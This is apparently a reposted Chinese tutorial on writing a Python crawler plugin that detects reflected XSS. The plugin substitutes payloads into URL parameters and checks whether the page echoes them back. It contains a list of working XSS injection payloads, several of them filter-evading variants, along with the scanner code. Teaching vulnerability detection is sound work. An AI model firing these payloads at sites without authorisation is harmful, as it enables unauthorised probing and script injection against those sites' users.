基于爬虫开发XSS检测插件

栏目: 编程工具 · 发布时间: 4年前

内容简介:跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的先做一个很简单的XSS检测工具,通过一些XSS的payload list

什么是XSS

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的

XSS检测原理

先做一个很简单的XSS检测工具,通过一些XSS的 payload 加入到url参数中,然后查找url的源码中是否存在这个参数,存在则可以证明网页存在XSS漏洞

payload list

</script>"><script>prompt(1)</script>
</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
"><img src=x onerror=prompt(1)>
"><svg/onload=prompt(1)>
"><iframe/src=javascript:prompt(1)>
"><h1 onclick=prompt(1)>Clickme</h1>
"><a href=javascript:prompt(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
"><textarea autofocus onfocus=prompt(1)>
"><a/href=javascript:co\u006efir\u006d "1" >clickme</a>
"><script>co\u006efir\u006d`1`</script>
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><iframe/src=javascript:co\u006efir\u006d%28 1%29>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href=javascript:prompt%28 1%29>Clickme</a>
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
"><textarea autofocus onfocus=co\u006efir\u006d(1)>
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
"><img/src=x%0Aonerror=prompt`1`>
"><iframe srcdoc="<img src=x:x onerror=alert(1)>">
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>

代码编写

为了以后代码编写的方便,我们编写一个函数取出url中的参数,比如 https://wmathor.com/python/?a=1&b=2&c=3 。我们要将1 2 3都取出来进行替换,所以我们先创建一个公共函数来分割这些文本

在文件 lib/core/common.py

def urlsplit(url):
    domain = url.split("?")[0]
    _url = url.split("?")[-1]
    param = {}
    for val in _url.split("&"):
        param[val.split("=")[0]] = val.split("=")[-1]
    
    # Combine
    urls = []
    for val in param.values():
        new_url = domain + '?' + _url.replace(val, 'my_Payload')
        urls.append(new_url)
    return urls

这个函数很简单,函数返回的是一个元祖,将每个参数用my_Payload标记,到时候替换这个参数就行了

接下来编写XSS检查程序,这个程序也是基于一个爬虫的框架

在开始之前,需要在目录新建一个data文件夹,这个文件夹用于存储一些数据。然后新建一个 xss.txt ,内容为之前的xss payload list

XSS检测程序代码

script 目录下新建文件 xss_check.py 。代码如下

#-*- coding:utf-8 -*-
from lib.core import Download, common
import sys, os

payload = []
filename = os.path.join(sys.path[0], 'data', 'xss.txt')
f = open(filename)
for i in f:
    payload.append(i.strip())

class spider():
    def run(self, url, html):
        download = Download.Downloader()
        urls = common.urlsplit(url)
        
        if urls is None:
            return False
        for _urlp in urls:
            for _payload in payload:
                _url = _urlp.replace("my_Payload", _payload)
                print("[XSS test]:", _url)
                
                # We Need test and spilt all paramters of URL
                _str = download.get(_url)
                if _str is None:
                    return False
                if (_str.find(_payload) != -1):
                    print("XSS found:%s" % url)
        return False

基于爬虫开发XSS检测插件


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Inside the C++ Object Model

Inside the C++ Object Model

Stanley B. Lippman / Addison-Wesley Professional / 1996-5-13 / USD 64.99

Inside the C++ Object Model focuses on the underlying mechanisms that support object-oriented programming within C++: constructor semantics, temporary generation, support for encapsulation, inheritanc......一起来看看 《Inside the C++ Object Model》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具